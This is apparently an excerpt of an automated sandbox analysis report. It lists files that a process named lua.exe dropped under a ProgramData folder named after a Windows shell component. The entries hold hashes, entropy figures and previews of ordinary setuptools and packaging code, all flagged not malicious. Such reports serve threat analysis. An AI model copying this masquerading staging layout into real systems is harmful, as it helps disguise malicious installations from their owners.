Preview:	"""Module for parsing and testing package version predicate strings..""".import re.import distutils.version.import operator...re_validPackage = re.compile(r"(?i)^\s([a-z_]\w(?:\.[a-z_]\w))(.)",. re.ASCII).# (package) (rest)..re_paren = re.compile(r"^\s$(.)$\s$") # (list) inside of parentheses.re_splitComparison = re.compile(r"^\s(<=\|>=\|<\|>\|!=\|==)\s([^\s,]+)\s*$").# (comp) (version)...def splitUp(pred):. """Parse a single version comparison... Return (comparison string, StrictVersion). """. res = re_splitComparison.match(pred). if not res:. raise ValueError("bad package restriction syntax: %r" % pred). comp, verStr = res.groups(). return (comp, distutils.version.StrictVersion(verStr))..compmap = {"<": operator.lt, "<=": operator.le, "==": operator.eq,. ">": operator.gt, ">=": operator.ge, "!=": operator.ne}..class VersionPredicate:. """Parse and test package version predicates... >>> v = VersionPredicate('pyepat.abc (>1.0, <3333

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_imp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	4.790707655176412
Encrypted:	false
SSDEEP:	48:S8XXUjy914Oc1v5LNP44QweXlsNQatNbSApV0ZodTIOjFq8jn:zXXSunQc0eXuNzNbn0ZodTIcFqen
MD5:	F5BBD10E9AE2D65113208F0C842AE48B
SHA1:	A8E9C0B3E26B13C86B0FDC5697C86F614199148B
SHA-256:	431D0B27310169693FE8F7C809A989B5F04DDAB8792BDB09AB5C17BED656FA67
SHA-512:	EB67F931A753EF8E90E94FF736C09206783B2AE9D58F0B101A5EF8C40D62D268EBF89F347075C2DAD5765A49F5C73F13E2881B3E9D5B5F3042AAD97FCE84D1F3
Malicious:	false
Preview:	""".Re-implementation of find_module and get_frozen_object.from the deprecated imp module.."""..import os.import importlib.util.import importlib.machinery..from .py34compat import module_from_spec...PY_SOURCE = 1.PY_COMPILED = 2.C_EXTENSION = 3.C_BUILTIN = 6.PY_FROZEN = 7...def find_spec(module, paths):. finder = (. importlib.machinery.PathFinder().find_spec. if isinstance(paths, list) else. importlib.util.find_spec. ). return finder(module, paths)...def find_module(module, paths=None):. """Just like 'imp.find_module()', but with package support""". spec = find_spec(module, paths). if spec is None:. raise ImportError("Can't find %s" % module). if not spec.has_location and hasattr(spec, 'submodule_search_locations'):. spec = importlib.util.spec_from_loader('__init__.py', spec.loader).. kind = -1. file = None. static = isinstance(spec.loader, type). if spec.origin == 'frozen' or static and issubclass(. spec.lo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\ordered_set.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15130
Entropy (8bit):	4.235131026628033
Encrypted:	false
SSDEEP:	384:X2zYoms8Wwi0uImzOKgW173/wiy/VDZa9ebTzVEbjym:hobwinkKlQ9I9ebTzVEbjym
MD5:	F3186384F56969ACBD47DD1E14431FD0
SHA1:	E036FB43B3FDB55291BB33008B375B4D9465C09C
SHA-256:	75B68272CDBB77237D827316185E6703F06B567E90F8DAE329826957DFDF801B
SHA-512:	99A0BF021448F74031C8A9ED7950C6EBE8E4134D537DA42774D500131F285CFE842E198150731DEA9BBE249E443364C9D79D3A18F530A8789C0A7F3A4B0FDE24
Malicious:	false
Preview:	""".An OrderedSet is a custom MutableSet that remembers its order, so that every.entry has an index that can be looked up...Based on a recipe originally posted to ActiveState Recipes by Raymond Hettiger,.and released under the MIT license..""".import itertools as it.from collections import deque..try:. # Python 3. from collections.abc import MutableSet, Sequence.except ImportError:. # Python 2.7. from collections import MutableSet, Sequence..SLICE_ALL = slice(None).__version__ = "3.1"...def is_iterable(obj):. """. Are we being asked to look up a list of things, instead of a single thing?. We check for the `__iter__` attribute so that this can cover types that. don't have to be known by this module, such as NumPy arrays... Strings, however, should be considered as atomic values to look up, not. iterables. The same goes for tuples, since they are immutable and therefore. valid entries... We don't need to check for the Python 2 `unicode` type, because i

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\__about__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	736
Entropy (8bit):	4.76082264257744
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17KjCy5IRnHt4oJDTFvqvUHC3u/5G/E4ZqQ9590/be2UHVjuEF/M:q9O0ope2PFNz14MHqwhQ95fDR/mBcl2B
MD5:	CB911241AF12A5D8C1B50DCA67A44753
SHA1:	10C90B41A21B9D7AE5DFD7935113AF35AF1E269B
SHA-256:	3CD32C6999F851C087CAE6E044E1F56E5E8296E76E3E3239905AD2A7F660925A
SHA-512:	EBB6E4C06FB81A90C5BB7B8F2E843AAD885B8FBAE16812B3A084D473CACE963AFBA97EDA9B123221CF6B33DB89FE576BC2E79A581E30F969667813FD70CEDF00
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.]..__title__ = "packaging".__summary__ = "Core utilities for Python packages".__uri__ = "https://github.com/pypa/packaging"..__version__ = "20.4"..__author__ = "Donald Stufft and individual contributors".__email__ = "donald@stufft.io"..__license__ = "BSD-2-Clause or Apache-2.0".__copyright__ = "Copyright 2014-2019 %s" % __author__.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	562
Entropy (8bit):	4.355224934892913
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17KjCy5o5SfiJEgF4MNnRnHt4oJDTFvqvUHC3u/D:q9O0ope2p3JFNFNz14MHqK
MD5:	2EED0787819307CC2E25CF45A4A9B5AD
SHA1:	74E5F4A45CF9A2E4E3E1F66456676BC7C49B2FD1
SHA-256:	E9E9DBA795E045F8C18EC23DF9B9F4D078C77F94C7DB53C330E2A4256F31C3EC
SHA-512:	3DBE5D38DFBAFDAE2BD2D0BC621996E3B5B857E714BB2F24264A88D929349255F9332256CE01121B8E19BA9F2ACE51D5DA9DB3898066F43AD2F4975ED2692537
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..from .__about__ import (. __author__,. __copyright__,. __email__,. __license__,. __summary__,. __title__,. __uri__,. __version__,.)..__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\_compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	4.823343997423168
Encrypted:	false
SSDEEP:	24:q9O0ope29ny8bGk74hgcTGMfXLAmZOZGjNB2tdJBN2U:IDo8IZKk4hNZOZcQtdJBNv
MD5:	6D5FC01182E0EBBDAA4327FD5CEF0655
SHA1:	8E738F123389098CEBA20249672A339C0015B2D5
SHA-256:	31776C1A9484FD6F99AC7A02F3B6A7748E0B576140C14EC72CBF9E1DEFC28E15
SHA-512:	4C7F2B9C3059D050C5B7EA1617AC499CAD3746C214BCB7BBEBA68A2EF58441DB3CCFCBBBBCA4BDB1DE65CB9E5BB93B7A4AEF7615747E7D0C8802A7614E191811
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import sys..from ._typing import TYPE_CHECKING..if TYPE_CHECKING: # pragma: no cover. from typing import Any, Dict, Tuple, Type...PY2 = sys.version_info[0] == 2.PY3 = sys.version_info[0] == 3..# flake8: noqa..if PY3:. string_types = (str,).else:. string_types = (basestring,)...def with_metaclass(meta, *bases):. # type: (Type[Any], Tuple[Type[Any], ...]) -> Any. """. Create a base class with a metaclass.. """. # This requires a bit of explanation: the basic idea is to make a dummy. # metaclass for one level of class instantiation that replaces itself with. # the actual metaclass.. class metaclass(meta): # type: ignore. def __new__(cls, name, this_bases, d):. # type: (Type[Any], str, Tuple[Any]

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\_structures.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2022
Entropy (8bit):	4.342922127361113
Encrypted:	false
SSDEEP:	48:IDo8V6hdrdljmExXrEVWXrEVo6UjmExXrEVWXrEVedWdv:F32EUNEE
MD5:	2A2F319784450ED303D86E6524053F42
SHA1:	B6B3552024C5BC24DF9F000E34E13B6A37992EE5
SHA-256:	A339025FC43C7F6A84D4489CDD8890E1BB8355F833DA261EBD8F5EED1DB2DE26
SHA-512:	55CA410AA4222751656BA1D5C8B7C1CEF972DB9333F8115CB3CC91FC3CED293AADA426895B96BE81BA4FD1587B7A7AADB8E6A467E50E82D71C423D4226089291
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function...class InfinityType(object):. def __repr__(self):. # type: () -> str. return "Infinity".. def __hash__(self):. # type: () -> int. return hash(repr(self)).. def __lt__(self, other):. # type: (object) -> bool. return False.. def __le__(self, other):. # type: (object) -> bool. return False.. def __eq__(self, other):. # type: (object) -> bool. return isinstance(other, self.__class__).. def __ne__(self, other):. # type: (object) -> bool. return not isinstance(other, self.__class__).. def __gt__(self, other):. # type: (object) -> bool. return True.. def __ge__(self, other):. # type: (object) -> bool. return True..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\_typing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.751869054200876
Encrypted:	false
SSDEEP:	48:xWbqWeWBqxBXoYxtKwXF8opwKjtuvMiqF:y3cr4KkOpgi
MD5:	B0DAC8EF6953FB835C7D633E6A427BA7
SHA1:	F521B39E0501E178412D557AC85D625626B85326
SHA-256:	C79F44850E7B4CC4FE9134722D9576E4766F6061B06EE713A3A88A87F3B4B4CC
SHA-512:	DE5D2189075A26DC2E9BA41C1BBF2D4CCD3D5FB475802A0D7A70E311A301C4C4CB619D9F15C6263A420583B4F8BF87FCD589D6F96FE7B1EDC367B875D54CFDDA
Malicious:	false
Preview:	"""For neatly implementing static typing in packaging...`mypy` - the static type analysis tool we use - uses the `typing` module, which.provides core functionality fundamental to mypy's functioning...Generally, `typing` would be imported at runtime and used in that fashion -.it acts as a no-op at runtime and does not have any run-time overhead by.design...As it turns out, `typing` is not vendorable - it uses separate sources for.Python 2/Python 3. Thus, this codebase can not expect it to be present..To work around this, mypy allows the typing import to be behind a False-y.optional to prevent it from running at runtime and type-comments can be used.to remove the need for the types to be accessible directly during runtime...This module provides the False-y guard in a nicely named fashion so that a.curious maintainer can reach here to read this...In packaging, all static-typing related imports should be guarded as follows:.. from packaging._typing import TYPE_CHECKING.. if TYPE_CHEC

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\markers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9509
Entropy (8bit):	4.813926191712438
Encrypted:	false
SSDEEP:	192:Fz6ayaKUTfexKz3QgleanMaD/7sEURo6RMAY0w9C:Fz6FUTexKz3QyMsAnZRDw9C
MD5:	D50F21A53F78DC4CEEF1C4662FD626FC
SHA1:	8B73EDA59FF8500FFC6706A00E43AE5A84D4D78D
SHA-256:	0420B165BB7CC60CAC1FCBF9A6A6CB91DB509D164720690942A94D0467A4E274
SHA-512:	B0C59845101DFC113EF56DDAF36ED83714B44953557EB4F0CE981F4362A3759AE43EF38EC37BC85677AC64D7ACB506AD604F9C5DD9EBF403C60877FF34055679
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import operator.import os.import platform.import sys..from setuptools.extern.pyparsing import ParseException, ParseResults, stringStart, stringEnd.from setuptools.extern.pyparsing import ZeroOrMore, Group, Forward, QuotedString.from setuptools.extern.pyparsing import Literal as L # noqa..from ._compat import string_types.from ._typing import TYPE_CHECKING.from .specifiers import Specifier, InvalidSpecifier..if TYPE_CHECKING: # pragma: no cover. from typing import Any, Callable, Dict, List, Optional, Tuple, Union.. Operator = Callable[[str, str], bool]...__all__ = [. "InvalidMarker",. "UndefinedComparison",. "UndefinedEnvironmentName",. "Marker",. "default_environment",.]...class InvalidMarker(ValueError):. """. An i

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\requirements.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4917
Entropy (8bit):	5.08863487933049
Encrypted:	false
SSDEEP:	96:FZSRgpYRDjkIyzxNxP9TGuHg/U3dNLGNdfPeszOBIqev0BDuh:FURMacaYLCkIzvKY
MD5:	EFDCADB07730A5BC778F4E9A0586D70A
SHA1:	D05BC66794E74550B2A423449095B56DB9E47606
SHA-256:	547C9D65D93C9B7A85C517A898DC0AAFBD5C9A98DA9ED115FF13A1904CB220D2
SHA-512:	0859DE00B53EF753E4199CE44A47D78E5FB5B11CDD18F637C5DE2B2D299BA0C35B71FEB392173E110520C67B02DEE75C28AA7829B4A953DB48483D3EB1E5C355
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import string.import re..from setuptools.extern.pyparsing import stringStart, stringEnd, originalTextFor, ParseException.from setuptools.extern.pyparsing import ZeroOrMore, Word, Optional, Regex, Combine.from setuptools.extern.pyparsing import Literal as L # noqa.from urllib import parse as urlparse..from ._typing import TYPE_CHECKING.from .markers import MARKER_EXPR, Marker.from .specifiers import LegacySpecifier, Specifier, SpecifierSet..if TYPE_CHECKING: # pragma: no cover. from typing import List...class InvalidRequirement(ValueError):. """. An invalid requirement was found, users should refer to PEP 508.. """...ALPHANUM = Word(string.ascii_letters + string.digits)..LBRACKET = L("[").suppress().RBRACKET = L("]").suppress().LPA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\specifiers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	31944
Entropy (8bit):	4.309184167775029
Encrypted:	false
SSDEEP:	384:FFhKj+BkVQ9IEszaYuhdwhOuhEFIOI10liN36fRZMnQKx/OIGtNbc6:lKIkVlEs7uhdwhOuhEFxISlO9Qg/O9g6
MD5:	8E104C1478944512DB1284C6425D7E5C
SHA1:	7761CF1DF1CA1144DCE6A5D04B88E2E4179FDCAB
SHA-256:	B98A7D975DC5D0B7249D2E9DE0DEB4CAD88180598884A89D78EABD027B314DCA
SHA-512:	00C42FC324332D04A438987D70AFFFAD855800CD9FE7F6CF52B62321AA2718E70814ABE8076FEA2FE158D32779DFD44DC0232C92EDC6307AB83C7B7E38CE45EA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import abc.import functools.import itertools.import re..from ._compat import string_types, with_metaclass.from ._typing import TYPE_CHECKING.from .utils import canonicalize_version.from .version import Version, LegacyVersion, parse..if TYPE_CHECKING: # pragma: no cover. from typing import (. List,. Dict,. Union,. Iterable,. Iterator,. Optional,. Callable,. Tuple,. FrozenSet,. ).. ParsedVersion = Union[Version, LegacyVersion]. UnparsedVersion = Union[Version, LegacyVersion, str]. CallableOperator = Callable[[ParsedVersion, str], bool]...class InvalidSpecifier(ValueError):. """. An invalid specifier was found, users should refer to PEP 440.. """...class BaseSp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\tags.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24067
Entropy (8bit):	4.80313202952782
Encrypted:	false
SSDEEP:	384:FSdp8Ay8XuveWXnE/3okOEl2hx1plf3BoQYKMKEp9xkzOw9J0sZTp0d5BHUfbvOO:8drUvtnE/okOEl2hx1plf3BoQ3D69xkh
MD5:	5976599D204E1C99A69A745701CD1331
SHA1:	C8AC635F74B5F9A23845EBBF95CE5DDF12C51470
SHA-256:	34A312DFB668FE75AB67182C0FACDB5EC5E073D79D9FD9B5EB470188B98725D1
SHA-512:	6E52BDC7B6FB593C3450002F622A1A4A8572932EC5CE108F661900A492D9C89CE042739767F8CF46AA0C3D88A448B8C7217C0AC0072C914F56E43865DC32FCB6
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import..import distutils.util..try:. from importlib.machinery import EXTENSION_SUFFIXES.except ImportError: # pragma: no cover. import imp.. EXTENSION_SUFFIXES = [x[0] for x in imp.get_suffixes()]. del imp.import logging.import os.import platform.import re.import struct.import sys.import sysconfig.import warnings..from ._typing import TYPE_CHECKING, cast..if TYPE_CHECKING: # pragma: no cover. from typing import (. Dict,. FrozenSet,. IO,. Iterable,. Iterator,. List,. Optional,. Sequence,. Tuple,. Union,. ).. PythonVersion = Sequence[int]. MacVersion = Tuple[int, int]. GlibcVersion = Tuple[int, int]...logger = logging.getLogger(__name__)..INTERPRETER_SHORT_NAMES = {. "python": "

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1811
Entropy (8bit):	4.76405669637177
Encrypted:	false
SSDEEP:	24:q9O0ope2D6gpeS1ujJcz55V5+It5yzlQQkMNx/U9wytUvWY09ab1LJ0ztjVx:IDo8HKac1V+IMl7xs9wyaR0Mb9q1Vx
MD5:	ED9896111C9B49550314BC6B238E5A11
SHA1:	F0B8F8941F45F8A4821CBF564BE73FD27524651A
SHA-256:	452865BE78CED82B58483F2EAE2DF67EB30C14C4E607EDE286CAB5FA08732C4C
SHA-512:	46558CA841C4A65EC41458E018C7D1850D5851E54AD0C5F04F3B201B5D24DB44A3A24C4F2959CFAFF491B575DE16798962AE18B290656B1000C78848B1507AC1
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import re..from ._typing import TYPE_CHECKING, cast.from .version import InvalidVersion, Version..if TYPE_CHECKING: # pragma: no cover. from typing import NewType, Union.. NormalizedName = NewType("NormalizedName", str).._canonicalize_regex = re.compile(r"[-_.]+")...def canonicalize_name(name):. # type: (str) -> NormalizedName. # This is taken from PEP 503.. value = _canonicalize_regex.sub("-", name).lower(). return cast("NormalizedName", value)...def canonicalize_version(_version):. # type: (str) -> Union[Version, str]. """. This is very similar to Version.__str__, but has one subtle difference. with the way it handles the release segment.. """.. try:. version = Version(_version). except InvalidVe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15470
Entropy (8bit):	4.505586612608989
Encrypted:	false
SSDEEP:	384:FMp0TNccqOwOvEYj73WnmgWilqllrr6dWgni:+0VqOwOvEYj7GnLWilAlrr643
MD5:	E68593DD6268BA28C359E5830A577214
SHA1:	9ED72920A9DC00F4E29FA68DBB7C3843448D59F3
SHA-256:	0A76E6F8E3BD0FFA9DF194C5C7315C8D26AF7B14981599B279AA0FBCCB2380F7
SHA-512:	E477ECB8FBBB3643C0485640F94CB80D8681089036F164E800BB9694C1D9FB4DA606B70197C608E4427BE8D9CE9320B1FD51B8EE4055E312FE4DC3067C122602
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import collections.import itertools.import re..from ._structures import Infinity, NegativeInfinity.from ._typing import TYPE_CHECKING..if TYPE_CHECKING: # pragma: no cover. from typing import Callable, Iterator, List, Optional, SupportsInt, Tuple, Union.. from ._structures import InfinityType, NegativeInfinityType.. InfiniteTypes = Union[InfinityType, NegativeInfinityType]. PrePostDevType = Union[InfiniteTypes, Tuple[str, int]]. SubLocalType = Union[InfiniteTypes, int, str]. LocalType = Union[. NegativeInfinityType,. Tuple[. Union[. SubLocalType,. Tuple[SubLocalType, str],. Tuple[NegativeInfinityType, SubLocalType],. ],. ...,. ]

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\pyparsing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	232055
Entropy (8bit):	4.628655516703601
Encrypted:	false
SSDEEP:	6144:Nk7fj9Cr2dr4a4Nx+cOgq0emJ2gW6YnqTX8meDeJZOtxjK5cbE/NbE7EVkAP:KgOE5
MD5:	FC9C293F584C3BF6DE629AC89E5A0E83
SHA1:	6823808A8E61FD3E3EC722EF45AD6CF1B4BD9AA2
SHA-256:	B66AE9FA5BBEA8ED62EF967320DE40D769CA4510F50A6E15A64FB92D1F6B8A6B
SHA-512:	1D037ACBA4B9362A24F2E8867FA5B85FB1AAB1CF121DD0054EF7706E643E0D9D989A7CC202D04C5E9ACEE4A73D1AF08E082CA19D9C34A9FC04E4E9B001DE42E0
Malicious:	false
Preview:	# module pyparsing.py..#..# Copyright (c) 2003-2018 Paul T. McGuire..#..# Permission is hereby granted, free of charge, to any person obtaining..# a copy of this software and associated documentation files (the..# "Software"), to deal in the Software without restriction, including..# without limitation the rights to use, copy, modify, merge, publish,..# distribute, sublicense, and/or sell copies of the Software, and to..# permit persons to whom the Software is furnished to do so, subject to..# the following conditions:..#..# The above copyright notice and this permission notice shall be..# included in all copies or substantial portions of the Software...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT...# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY..# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\archive_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6638
Entropy (8bit):	4.337006446612503
Encrypted:	false
SSDEEP:	96:+q422sfhOjmSpcw13r/6MAB3ufjMMqPULaVF1YjmWq8+NaeBxyZuwjmy7pwk:+01fCD1biz3nMwUmL6HfqaefyUI
MD5:	F2178A00ECD87C7E5CD6C23C328A2301
SHA1:	7B4FE8CFCF11BAE6AC47CD7156864C0C20932715
SHA-256:	175F97AD02537571D13D1034F64C4F5B09BD67632CD6513F21064A1BF259EEB3
SHA-512:	62EFEC48D39DF716CABAB1B7D689936649CB2DBF023A99E316C0BADDE1E7326D405831EAB7947FA3C14B8D6409C462B2B613B4C7AB78EDE785F766D6D661BFA0
Malicious:	false
Preview:	"""Utilities for extracting common archive formats"""..import zipfile.import tarfile.import os.import shutil.import posixpath.import contextlib.from distutils.errors import DistutilsError..from pkg_resources import ensure_directory..__all__ = [. "unpack_archive", "unpack_zipfile", "unpack_tarfile", "default_filter",. "UnrecognizedFormat", "extraction_drivers", "unpack_directory",.]...class UnrecognizedFormat(DistutilsError):. """Couldn't recognize the archive type"""...def default_filter(src, dst):. """The default progress/filter callback; returns True for all files""". return dst...def unpack_archive(. filename, extract_dir, progress_filter=default_filter,. drivers=None):. """Unpack `filename` to `extract_dir`, or raise ``UnrecognizedFormat``.. `progress_filter` is a function taking two arguments: a source path. internal to the archive ('/'-separated), and a filesystem path where it. will be extracted. The callback must return the desired extr

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\build_meta.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10096
Entropy (8bit):	4.52817011054291
Encrypted:	false
SSDEEP:	192:1eNqD29sRoTVRF5bF049h7eVuxTJFFHwsxcbQ:1qqDcsRaFjTF9HB
MD5:	B90E958F80BB4DDD111C6A06E04E56D5
SHA1:	27C92F4AE7AAE8814ED27F5F662E97AE306A5D19
SHA-256:	6E6E519C19B28019DE3A575A2E172E9DC3A24EA1F934F7416484957940DE6327
SHA-512:	5E95B784C0F56D5D64B38C3B09F278AE2F07E0723D36801ABC6B18372BBB29E38800A25D0A247567E9A07BDFDBE6E671ADC13B56DAAEBF54905936AEFFF2BF37
Malicious:	false
Preview:	"""A PEP 517 interface to setuptools..Previously, when a user or a command line tool (let's call it a "frontend").needed to make a request of setuptools to take a certain action, for.example, generating a list of installation requirements, the frontend would.would call "setup.py egg_info" or "setup.py bdist_wheel" on the command line...PEP 517 defines a different method of interfacing with setuptools. Rather.than calling "setup.py" directly, the frontend should:.. 1. Set the current directory to the directory with a setup.py file. 2. Import this module into a safe python interpreter (one in which. setuptools can potentially set global variables or crash hard).. 3. Call one of the functions defined in PEP 517...What each function does is defined in PEP 517. However, here is a "casual".definition of the functions (this definition should not be relied on for.bug reports or API stability):.. - `build_wheel`: build a wheel in the folder and return the basename. - `get_requires_for_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-32.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	6.3831025404791655
Encrypted:	false
SSDEEP:	768:2jfnJFqNSkejOy27eW2Vef/7yX3jFICnFfvoUs49RsS98Pu4TNz14GAeRgxQ:ufnLq01weW5yX3jFxv49Nu4GhQ
MD5:	A32A382B8A5A906E03A83B4F3E5B7A9B
SHA1:	11E2BDD0798761F93CCE363329996AF6C17ED796
SHA-256:	75F12EA2F30D9C0D872DADE345F30F562E6D93847B6A509BA53BEEC6D0B2C346
SHA-512:	EC87DD957BE21B135212454646DCABDD7EF9442CF714E2C1F6B42B81F0C3FA3B1875BDE9A8B538E8A0AA2190225649C29E9ED0F25176E7659E55E422DD4EFE4C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......YS.j.2.9.2.9.2.9:..9.2.9.2.9F2.9.}.9.2.9.`.992.9.`.9.2.9.`.9m2.9.`.9.2.9Rich.2.9................PE..L......Q.....................N.......%............@..........................@..............................................,...(.......................................................................@...............@............................text...]........................... ..`.rdata..` ......."..................@..@.data....+..........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-64.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	6.129445337728628
Encrypted:	false
SSDEEP:	1536:PnDpvQm1Gk/NAIL5ZFR+Emf1rFX6YczDo87h2nO/Hda5QO6F:PDpv5tFA25ZA1J6Ho87kO/HdqQ5
MD5:	D2778164EF643BA8F44CC202EC7EF157
SHA1:	31EEE7114EED6B0D2FB77C9F3605057639050786
SHA-256:	28B001BB9A72AE7A24242BFAB248D767A1AC5DEC981C672A3944F7A072375E9A
SHA-512:	CB2A5A2AEBA9D6F6BFC4A3A4576961244C109AAFB59F02134B03EBAC4D16602EE7F141CC4ADC519F15030C20E7E7D6585778870706B2EA4C74C1161729101635
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W..^W..^W..^p..^T..^W..^...^.0.^S..^I-.^s..^I-.^]..^I-.^:..^I-.^V..^RichW..^................PE..d......Q..........#..........j......x+.........@.............................p..................................................................(............`.......................................................................................................text............................... ..`.rdata...).......*..................@..@.data....5... ......................@....pdata.......`......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli.exe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	6.3831025404791655
Encrypted:	false
SSDEEP:	768:2jfnJFqNSkejOy27eW2Vef/7yX3jFICnFfvoUs49RsS98Pu4TNz14GAeRgxQ:ufnLq01weW5yX3jFxv49Nu4GhQ
MD5:	A32A382B8A5A906E03A83B4F3E5B7A9B
SHA1:	11E2BDD0798761F93CCE363329996AF6C17ED796
SHA-256:	75F12EA2F30D9C0D872DADE345F30F562E6D93847B6A509BA53BEEC6D0B2C346
SHA-512:	EC87DD957BE21B135212454646DCABDD7EF9442CF714E2C1F6B42B81F0C3FA3B1875BDE9A8B538E8A0AA2190225649C29E9ED0F25176E7659E55E422DD4EFE4C
Malicious:	false
